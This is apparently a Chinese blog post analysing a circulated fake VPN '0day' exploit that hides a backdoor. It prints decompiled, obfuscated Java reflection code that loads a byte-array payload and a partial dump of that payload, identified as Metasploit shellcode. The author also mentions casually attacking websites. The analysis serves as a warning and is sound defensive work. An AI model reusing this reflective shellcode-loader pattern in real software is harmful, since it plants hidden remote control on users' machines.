网传某 vpn 漏洞投毒事件
2023-8-16 13:9:39 Author: 轩公子谈技术(查看原文) 阅读量:61 收藏

0x00前言

昨天正在日站,一顿输出,error,关站,waf,gg

           

于是摸会鱼,在微信里,发现团队小伙伴发了一个0day

解压后,一堆dll,其中有个jar包

于是乎

打开idea,添加到lib as lib

就可以看反编译后的代码了,或者使用jd-gui也可以

主要代码在pwnAction

创建一个进程执行命令,不知道具体是干什么的,参数加密了

再往下,900多行的字节数组,

变量传给var4,var4 又在var14 objectd数组里,具体不清楚干什么了,但明显知道,下面这段代码用了反射

 Class var5;        Class var12;        label16: {            try {                var5 = Class.forName(var3);            } catch (ClassNotFoundException var9) {                byte[] var7 = dump();                var12 = var5 = var1.defineClass(var3, var7, 0, var7.length);                break label16;            }
var12 = var5;String var10001 = CommandLineParser.ALLATORIxDEMO("V\u0011\\\u000fi\u0013V\u0002\\\u0012J"); Class[] var13 = new Class[1]; boolean var10004 = true; var13[0] = Integer.TYPE; Method var6 = var12.getDeclaredMethod(var10001, var13); var6.setAccessible(true); Object[] var14 = new Object[1]; var10004 = true; var14[0] = var2; long var11 = (Long)var6.invoke((Object)null, var14); var10001 = CommandLineParser.ALLATORIxDEMO("\\\u000fH\u0014\\\u0014\\"); var13 = new Class[5]; var10004 = true; var13[0] = Long.TYPE; var13[1] = byte[].class; var13[2] = String.class; var13[3] = String.class; var13[4] = Object[].class; Method var10 = var5.getDeclaredMethod(var10001, var13); var10.setAccessible(true); var14 = new Object[5]; var10004 = true; var14[0] = var11; var14[1] = var4; var14[2] = null; var14[3] = null; Object[] var10005 = new Object[0]; boolean var10007 = true; var14[4] = var10005; var10.invoke((Object)null, var14); }

于是找gpt生成一个javashellcode加载器

上面代码中的shelloce 就是上面的字节数组,invoke var14,var14中有var4,var4则为字节数组,那么可猜测pwnaction的关键代码分别是shellcode和加载器

将字节数组拿出来,转换一下

import java.io.*;            import java.util.Scanner;            

public class test { public static void main(String[] args) throws IOException { byte[] var10000 = new byte[926]; var10000[0] = -4; var10000[1] = 72; var10000[2] = -125; var10000[3] = -28; var10000[4] = -16; var10000[5] = -24; var10000[6] = -56; var10000[7] = 0; var10000[8] = 0; . . . . . . var10000[920] = 55; var10000[921] = 0; var10000[922] = 58; var10000[923] = -34; var10000[924] = 104; var10000[925] = -79; FileOutputStream outputStream = null; try { outputStream = new FileOutputStream("test.class"); outputStream.write(var10000); } catch (IOException e) { e.printStackTrace(); } finally { if (outputStream != null) { try { outputStream.close(); } catch (IOException e) { e.printStackTrace(); } } } } }

使用记事本打开class文件,存在一个ip

用16进制打开看一下,\xFC\x48\x83\xE4,学过免杀的小伙伴应该已经猜到了,这是msf的码子

微步查看

然后看一下jar包,也爆出远控。

 ,由此可见,确实有些问题。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247489127&idx=1&sn=8802218422deb3bea3f65ead6b5b4c31&chksm=fce9b1a8cb9e38bed4fd1972236072cb119b60e33fec7eed8827106fb005d34cbc9ebf9b2835&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh